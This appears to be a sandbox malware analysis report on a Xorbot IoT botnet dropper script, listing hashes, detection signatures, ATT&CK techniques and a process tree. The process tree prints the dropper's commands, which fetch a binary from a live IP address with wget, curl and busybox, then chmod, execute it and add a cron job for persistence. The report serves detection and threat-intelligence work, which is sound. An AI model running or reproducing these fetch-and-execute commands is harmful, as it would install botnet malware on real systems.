xorbot | 0651fa8757865e55623d59b097dbe0082aff12625569639ada2baa88424b5486

Analysis

max time kernel
149s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 17:12

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General

Target

bins.sh
Size

10KB
MD5

045528b151eb59a7dabeeb1df9678970
SHA1

7c03b5160de1aabf497ecbe90690ead44c3c3c80
SHA256

0651fa8757865e55623d59b097dbe0082aff12625569639ada2baa88424b5486
SHA512

b3909ed5c86c731251475181ce1309921495298923d6539b6e658345feca8b6d768efa754b24288236dedd08a0b487c0f1d6c59dc49c7938db85aa43c6e7855e
SSDEEP

96:mGCQDDcwd5Vvm+q4rc0yJptz8wm3vhMXuSV1xbWGvvYwzeGCQDDcGd5Vvm+M4rcv:jk4w0yJptZ9V1xbWGvFw0yJpu1xbWGY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1217) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1534	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	1535	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Renames itself 1 IoCs

pid	Process
1536	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.VvMq2d	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/26/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1374/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1601/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1670/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1643/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/29/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/460/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/970/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1089/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1306/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/12/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1083/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1677/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/23/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/280/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/488/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1613/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1648/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/181/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1567/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1578/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1170/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1294/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1656/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/176/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1595/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1637/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1652/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/31/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1553/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1589/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1653/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1320/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1569/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1576/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/25/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/484/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1203/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1550/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1644/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1654/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1676/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/10/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/170/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1166/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1541/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1639/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1587/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1591/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/24/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/78/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/468/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1207/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1584/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1623/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1630/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/185/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/189/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/463/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1116/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1596/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1607/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1609/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
File opened for reading	/proc/1649/cmdline	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	wget
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	curl
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1518
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  ./fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1535
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1537
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1538
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1539
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1540
- /bin/rm
  rm fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://66.63.187.225/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  PID:1545

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.VvMq2d

Filesize
210B

MD5
b7f34db6cca24060ac3f26b02d7a7dc7

SHA1
e8a4db431d3404e6a3191a19ab9ab622c7c46af9

SHA256
758a9d3244ecc05f1daa2d29e99c7d1bdb3155235304f6818651d0a6243c1e5e

SHA512
889d394f07262858f929b5d3cbe3333f5a937abb7fe86fd3d8f6b7e447055869ebd9f06b0d48a3396f54bb12819a6606aa0a9b02d990fa5fea32df0559df2a78

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads